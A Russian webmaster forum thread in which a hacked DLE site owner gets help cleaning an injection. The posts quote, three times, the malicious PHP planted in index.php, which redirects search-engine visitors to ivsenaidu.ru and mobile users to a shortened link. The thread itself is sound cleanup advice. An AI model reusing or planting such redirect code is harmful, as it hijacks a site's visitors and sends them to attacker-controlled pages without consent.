Переход с посиковика не на мой сайт!

P2
На сайте с 24.02.2013
Offline
2
14729

Случалось такое сегодня, обедом примерно, заметил после того что перестали ити пользователи в ЯД метрике.

С поисковика людей перекидает на другой сайт - а именно "http://filespace.open-folder-down.ru/search?query=%D0%BF%D0%BE%D1%80%D1%82%D0%B0%D0%BB%20%D0%BF%D1%80%D0%BE%20minecraft&fm=1"

/ru/forum/756138

Читал здесь, но у меня DLE.

Прошу помощи! Буду очень благодарен за решения проблемы!

[Удален]
#1

проверте для начала файл .htaccess

похоже сайт взломали

eis
На сайте с 18.10.2008
Offline
473
eis
#2

Prorok2010, какая версия? заплатки ставили? лицензия?

- Здесь я покупаю вечные ссылки на свои сайты! (https://backlinkator.com) - сотни ссылок за копейки
P2
На сайте с 24.02.2013
Offline
2
#3

Вот проверил, но что там могло без меня добавится...

DirectoryIndex index.php

RewriteEngine On

# Модуль SNVote
RewriteRule ^snvote/([0-9]+)-(.*).html(/?)+$ index.php?do=snvote&poll_id=$1&alt_name=$2 [L]
RewriteRule ^snvote/page/([0-9]+)(/?)+$ index.php?do=snvote&cstart=$1 [L]
RewriteRule ^snvote(/?)+$ index.php?do=snvote [L]

# Карта сайта
RewriteRule ^sitemap(/?)+$ /?do=sitemap [L]

RewriteRule ^forum(/?)+$ index.php?do=forum&action=index [L]
RewriteRule ^forum/moderation(/?)+$ index.php?do=forum&action=moderation [L]
RewriteRule ^forum/moderation/page-([0-9]+)(/?)+$ index.php?do=forum&action=moderation&page=$1 [L]
RewriteRule ^forum/categories-([0-9]+)(/?)+$ index.php?do=forum&action=categories&id=$1 [L]
RewriteRule ^forum/categories-([0-9]+)/page-([0-9]+)(/?)+$ index.php?do=forum&action=categories&id=$1&page=$2 [L]
RewriteRule ^forum/showtopic-([0-9]+)(/?)+$ index.php?do=forum&action=showtopic&id=$1 [L]
RewriteRule ^forum/showtopic-([0-9]+)/page-([0-9]+)(/?)+$ index.php?do=forum&action=showtopic&id=$1&page=$2 [L]
RewriteRule ^forum/showtopic-([0-9]+)/findpost-([0-9]+)(/?)+$ index.php?do=forum&action=findpost&id=$1&findpost=$2 [L]
RewriteRule ^forum/newtopic-([0-9]+)(/?)+$ index.php?do=forum&action=newtopic&id=$1 [L]
RewriteRule ^forum/search(/?)+$ index.php?do=forum&action=search [L]
RewriteRule ^forum/new_post(/?)+$ index.php?do=forum&action=new_post [L]
RewriteRule ^forum/new_post/page-([0-9]+)(/?)+$ index.php?do=forum&action=new_post&page=$1 [L]
RewriteRule ^forum/subscribe-([0-9]+).xml(/?)+$ engine/bullet_energy/modules/rss.php?action=tree_rss&id=$1 [L]
RewriteRule ^forum/attachment-([0-9]+)(/?)+$ engine/bullet_energy/modules/download.php?id=$1 [L]
RewriteRule ^forum/feed-([0-9]+).xml(/?)+$ engine/bullet_energy/modules/rss.php?action=topic_rss&id=$1 [L]
RewriteRule ^forum/discussion-([0-9]+)(/?)+$ index.php?do=forum&action=discussion&id=$1 [L]
RewriteRule ^forum/categories/([0-9]+)-([^/]*)(/?)+$ index.php?do=forum&action=categories&id=$1&name=$2 [L]
RewriteRule ^forum/categories/([0-9]+)-([^/]*)/page-([0-9]+)(/?)+$ index.php?do=forum&action=categories&id=$1&name=$2&page=$3 [L]
RewriteRule ^forum/showtopic/([0-9]+)-([^/]*)(/?)+$ index.php?do=forum&action=showtopic&id=$1&name=$2 [L]
RewriteRule ^forum/showtopic/([0-9]+)-([^/]*)/page-([0-9]+)(/?)+$ index.php?do=forum&action=showtopic&id=$1&name=$2&page=$3 [L]
RewriteRule ^forum/showtopic/([0-9]+)-([^/]*)/findpost-([0-9]+)(/?)+$ index.php?do=forum&action=findpost&id=$1&name=$2&findpost=$3 [L]
RewriteRule ^forum/unread/([0-9]+)(/?)+$ index.php?do=forum&action=unread&id=$1 [L]
RewriteRule ^forum/watched(/?)+$ index.php?do=forum&action=watched [L]
RewriteRule ^forum/watched/page-([0-9]+)(/?)+$ index.php?do=forum&action=watched&page=$1 [L]
RewriteRule ^forum/watched/all(/?)+$ index.php?do=forum&action=watched&param=all [L]
RewriteRule ^forum/vote-([0-9]+)/([^/]*)(/?)+$ index.php?do=forum&action=vote&id=$1&param=$2 [L]
RewriteRule ^forum/vote-([0-9]+)/result/([0-9]+)(/?)+$ index.php?do=forum&action=vote&id=$1&param=result&id_answer=$2 [L]
RewriteRule ^forum/warning-([0-9]+)/([0-9]+)/([^/]*)(/?)+$ index.php?do=forum&action=warning&id=$1&log_warn=$2&param=$3 [L]
RewriteRule ^forum/set/([^/]*)(/?)+$ index.php?do=forum&action=set&param=$1 [L]
RewriteRule ^forum/editor/([^/]*)(/?)+$ index.php?do=forum&action=editor&param=$1 [L]
RewriteRule ^forum/feed/([0-9]+)/([^/]*)(/?)+$ index.php?do=forum&action=feed&id=$1&param=$2 [L]
RewriteRule ^forum/post/([0-9]+)/([^/]*)/([^/]*)(/?)+$ index.php?do=forum&action=post&id=$1&param=$2&hash=$3 [L]
RewriteRule ^forum/add/([0-9]+)/([^/]*)(/?)+$ index.php?do=forum&action=newpost&id=$1&param=$2 [L]
RewriteRule ^forum/upload$ engine/bullet_energy/modules/upload.php [L]
RewriteRule ^forum/post_mass/([^/]*)$ index.php?do=forum&action=post_mass&param=$1 [L]
RewriteRule ^forum/preview(/?)+$ index.php?do=forum&action=preview [L]
RewriteRule ^forum/reads/([^/]*)/([0-9]+)(/?)+$ index.php?do=forum&action=reads&param=$1&id=$2 [L]
RewriteRule ^forum/complaint/([0-9]+)/([^/]*)(/?)+$ index.php?do=forum&action=complaint&id=$1&hash=$2 [L]
RewriteRule ^forum/rerouting/([^/]*)/([0-9]+)(/?)+$ index.php?do=forum&action=rerouting&param=$1&id=$2 [L]
RewriteRule ^user/([^/]*)/message(/?)+$ index.php?do=forum&action=user&name=$1&param=message [L]
RewriteRule ^user/([^/]*)/message/page-([0-9]+)(/?)+$ index.php?do=forum&action=user&name=$1&page=$2&param=message [L]
RewriteRule ^user/([^/]*)/topic(/?)+$ index.php?do=forum&action=user&name=$1&param=topic [L]
RewriteRule ^user/([^/]*)/topic/page-([0-9]+)(/?)+$ index.php?do=forum&action=user&name=$1&page=$2&param=topic [L]
RewriteRule ^user/([^/]*)/like(/?)+$ index.php?do=forum&action=user&name=$1&param=like [L]
RewriteRule ^user/([^/]*)/like/page-([0-9]+)(/?)+$ index.php?do=forum&action=user&name=$1&page=$2&param=like [L]
RewriteRule ^user/([^/]*)/trophies(/?)+$ index.php?do=forum&action=user&name=$1&param=trophies [L]


# Редиректы
RewriteRule ^page/(.*)$ index.php?cstart=$1 [L]

# Сам пост
RewriteBase /
RewriteRule ^([0-9]{4})/([0-9]{2})/([0-9]{2})/page,([0-9]+),([0-9]+),(.*)\.(.*)$ index.php?subaction=showfull&year=$1&month=$2&day=$3&news_page=$4&cstart=$5&news_name=$6 [L]
RewriteRule ^([0-9]{4})/([0-9]{2})/([0-9]{2})/page,([0-9]+),(.*)\.(.*)$ index.php?subaction=showfull&year=$1&month=$2&day=$3&news_page=$4&news_name=$5 [L]
RewriteRule ^([0-9]{4})/([0-9]{2})/([0-9]{2})/print:page,([0-9]+),(.*)\.(.*)$ engine/print.php?subaction=showfull&year=$1&month=$2&day=$3&news_page=$4&news_name=$5 [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([0-9]{4})/([0-9]{2})/([0-9]{2})/(.*)\.(.*)$ index.php?subaction=showfull&year=$1&month=$2&day=$3&news_name=$4 [L]

RewriteRule ^([^.]+)/page,([0-9]+),([0-9]+),([0-9]+)-(.*)$ index.php?newsid=$4&news_page=$2&cstart=$3 [L]
RewriteRule ^([^.]+)/page,([0-9]+),([0-9]+)-(.*)$ index.php?newsid=$3&news_page=$2 [L]
RewriteRule ^([^.]+)/print:page,([0-9]+),([0-9]+)-(.*)$ engine/print.php?news_page=$2&newsid=$3 [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([^.]+)/([0-9]+)-(.*)$ index.php?newsid=$2 [L]

RewriteRule ^page,([0-9]+),([0-9]+),([0-9]+)-(.*)$ index.php?newsid=$3&news_page=$1&cstart=$2 [L]
RewriteRule ^page,([0-9]+),([0-9]+)-(.*)$ index.php?newsid=$2&news_page=$1 [L]
RewriteRule ^print:page,([0-9]+),([0-9]+)-(.*)$ engine/print.php?news_page=$1&newsid=$2 [L]
RewriteRule ^([0-9]+)-(.*)$ index.php?newsid=$1 [L]

# За день
RewriteRule ^([0-9]{4})/([0-9]{2})/([0-9]{2})(/?)+$ index.php?year=$1&month=$2&day=$3 [L]
RewriteRule ^([0-9]{4})/([0-9]{2})/([0-9]{2})/page/([0-9]+)(/?)+$ index.php?year=$1&month=$2&day=$3&cstart=$4 [L]
# За весь месяц
RewriteRule ^([0-9]{4})/([0-9]{2})(/?)+$ index.php?year=$1&month=$2 [L]
RewriteRule ^([0-9]{4})/([0-9]{2})/page/([0-9]+)(/?)+$ index.php?year=$1&month=$2&cstart=$3 [L]
# Вывод за весь год
RewriteRule ^([0-9]{4})(/?)+$ index.php?year=$1 [L]
RewriteRule ^([0-9]{4})/page/([0-9]+)(/?)+$ index.php?year=$1&cstart=$2 [L]
# вывод отдельному тегу
RewriteRule ^tags/([^/]*)(/?)+$ index.php?do=tags&tag=$1 [L]
RewriteRule ^tags/([^/]*)/page/([0-9]+)(/?)+$ index.php?do=tags&tag=$1&cstart=$2 [L]
# поиск по доп полям
RewriteRule ^xfsearch/([^/]*)(/?)+$ index.php?do=xfsearch&xf=$1 [L]
RewriteRule ^xfsearch/([^/]*)/page/([0-9]+)(/?)+$ index.php?do=xfsearch&xf=$1&cstart=$2 [L]
# вывод для отдельного юзера
RewriteRule ^user/([^/]*)/rss.xml$ engine/rss.php?subaction=allnews&user=$1 [L]
RewriteRule ^user/([^/]*)(/?)+$ index.php?subaction=userinfo&user=$1 [L]
RewriteRule ^user/([^/]*)/page/([0-9]+)(/?)+$ index.php?subaction=userinfo&user=$1&cstart=$2 [L]
RewriteRule ^user/([^/]*)/news(/?)+$ index.php?subaction=allnews&user=$1 [L]
RewriteRule ^user/([^/]*)/news/page/([0-9]+)(/?)+$ index.php?subaction=allnews&user=$1&cstart=$2 [L]
RewriteRule ^user/([^/]*)/news/rss.xml(/?)+$ engine/rss.php?subaction=allnews&user=$1 [L]
# вывод всех последних новостей
RewriteRule ^lastnews(/?)+$ index.php?do=lastnews [L]
RewriteRule ^lastnews/page/([0-9]+)(/?)+$ index.php?do=lastnews&cstart=$1 [L]
# вывод в виде каталога
RewriteRule ^catalog/([^/]*)/rss.xml$ engine/rss.php?catalog=$1 [L]
RewriteRule ^catalog/([^/]*)(/?)+$ index.php?catalog=$1 [L]
RewriteRule ^catalog/([^/]*)/page/([0-9]+)(/?)+$ index.php?catalog=$1&cstart=$2 [L]
# вывод непрочитанных статей
RewriteRule ^newposts(/?)+$ index.php?subaction=newposts [L]
RewriteRule ^newposts/page/([0-9]+)(/?)+$ index.php?subaction=newposts&cstart=$1 [L]
# вывод избранных статей
RewriteRule ^favorites(/?)+$ index.php?do=favorites [L]
RewriteRule ^favorites/page/([0-9]+)(/?)+$ index.php?do=favorites&cstart=$1 [L]

RewriteRule ^rules.html$ index.php?do=rules [L]
RewriteRule ^statistics.html$ index.php?do=stats [L]
RewriteRule ^addnews.html$ index.php?do=addnews [L]
RewriteRule ^rss.xml$ engine/rss.php [L]
RewriteRule ^sitemap.xml$ uploads/sitemap.xml [L]

RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([^.]+)/page/([0-9]+)(/?)+$ index.php?do=cat&category=$1&cstart=$2 [L]
RewriteRule ^([^.]+)/?$ index.php?do=cat&category=$1 [L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^([^.]+)/rss.xml$ engine/rss.php?do=cat&category=$1 [L]
RewriteRule ^page,([0-9]+),([^/]+).html$ index.php?do=static&page=$2&news_page=$1 [L]
RewriteRule ^print:([^/]+).html$ engine/print.php?do=static&page=$1 [L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^([^/]+).html$ index.php?do=static&page=$1 [L]
[Удален]
#4

дайте урл сайта

P2
На сайте с 24.02.2013
Offline
2
#5

Нашел в index.php

define ( 'ROOT_DIR', dirname ( __FILE__ ) ); echo "<!-- 2 -->";$to = "http://ivsenaidu.ru/?q=";if (preg_match("#(google|bing|msn|ask|aol|mail\.ru|webalta).*[\?\&]q=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
if (preg_match("#(altavista|yahoo).*[\?\&]p=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
if (preg_match("#yandex.*[\?\&]text=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}
if (preg_match("#rambler.*[\?\&]query=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();} echo "<!-- 1 -->";$iphone = strpos($_SERVER["HTTP_USER_AGENT"],"iP");$android = strpos($_SERVER["HTTP_USER_AGENT"],"Android");$palmpre = strpos($_SERVER["HTTP_USER_AGENT"],"webOS");$berry = strpos($_SERVER["HTTP_USER_AGENT"],"BlackBerry");if ($iphone || $android || $palmpre || $berry === true){ header("Location: http://goo.gl/ZJ8HS");exit;}
define ( 'ENGINE_DIR', ROOT_DIR . '/engine' );

Что исправить? или что удалить.

---------- Добавлено 24.02.2013 в 20:26 ----------

Сам сайт!

http://mycraft.com.ua/

и запрос с ЯД : http://yandex.ua/yandsearch?rdrnd=261840&text=%D0%BF%D0%BE%D1%80%D1%82%D0%B0%D0%BB%20%D0%BF%D1%80%D0%BE%20minecraft&clid=9582&lr=147

Первый сайт!

[Удален]
#6

echo "<!-- 2 -->";$to = "http://ivsenaidu.ru/?q=";if (preg_match("#(google|bing|msn|ask|aol|mail\.ru|webalta).*[\?\&]q=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
if (preg_match("#(altavista|yahoo).*[\?\&]p=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
if (preg_match("#yandex.*[\?\&]text=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}
if (preg_match("#rambler.*[\?\&]query=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();} echo "<!-- 1 -->";$iphone = strpos($_SERVER["HTTP_USER_AGENT"],"iP");$android = strpos($_SERVER["HTTP_USER_AGENT"],"Android");$palmpre = strpos($_SERVER["HTTP_USER_AGENT"],"webOS");$berry = strpos($_SERVER["HTTP_USER_AGENT"],"BlackBerry");if ($iphone || $android || $palmpre || $berry === true){ header("Location: http://goo.gl/ZJ8HS");exit;}

P2
На сайте с 24.02.2013
Offline
2
#7
echo "<!-- 2 -->";$to = "http://ivsenaidu.ru/?q=";if (preg_match("#(google|bing|msn|ask|aol|mail\.ru|webalta).*[\?\&]q=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
if (preg_match("#(altavista|yahoo).*[\?\&]p=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
if (preg_match("#yandex.*[\?\&]text=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}
if (preg_match("#rambler.*[\?\&]query=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();} echo "<!-- 1 -->";$iphone = strpos($_SERVER["HTTP_USER_AGENT"],"iP");$android = strpos($_SERVER["HTTP_USER_AGENT"],"Android");$palmpre = strpos($_SERVER["HTTP_USER_AGENT"],"webOS");$berry = strpos($_SERVER["HTTP_USER_AGENT"],"BlackBerry");if ($iphone || $android || $palmpre || $berry === true){ header("Location: http://goo.gl/ZJ8HS");exit;}

Удалить эту строку?

[Удален]
#8
Prorok2010:
Удалить эту строку?

Да удалить чтоб осталось только

define ( 'ROOT_DIR', dirname ( __FILE__ ) );

define ( 'ENGINE_DIR', ROOT_DIR . '/engine' );

(только копию файла незабудьте сделать)

P2
На сайте с 24.02.2013
Offline
2
#9
igor3333:
Да удалить чтоб осталось только

define ( 'ROOT_DIR', dirname ( __FILE__ ) );
define ( 'ENGINE_DIR', ROOT_DIR . '/engine' );

(только копию файла незабудьте сделать)

Спасибо, помогло!

Как я смог заразиться вирусом?

Как избежать! Сегодня ни модули нечего не устанавливал на сайт!

И еще описания сайта:

Jz web - Портал про Minecraft Скачать все для Портал про Minecraft. Загрузка. … × Приветствуем тебя на портале по игре Minecraft!

Jz web - это тоже что то не мое, как корректировать?

[Удален]
#10
Prorok2010:

Jz web - Портал про Minecraft Скачать все для Портал про Minecraft. Загрузка. … × Приветствуем тебя на портале по игре Minecraft!

Jz web - это тоже что то не мое, как корректировать?

это в <title> посмотрите вверху тег такой есть или в админке - но скорее всего в теге дописали

а так сайты ломают нараз это надо защищаться - и смотрите если сайт взломали то скорее всего и бекдор подкинули и не 1 - это желательно сайт снести и чистую копию залить на заранее защищеный хост или сайт с защитой ставить

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий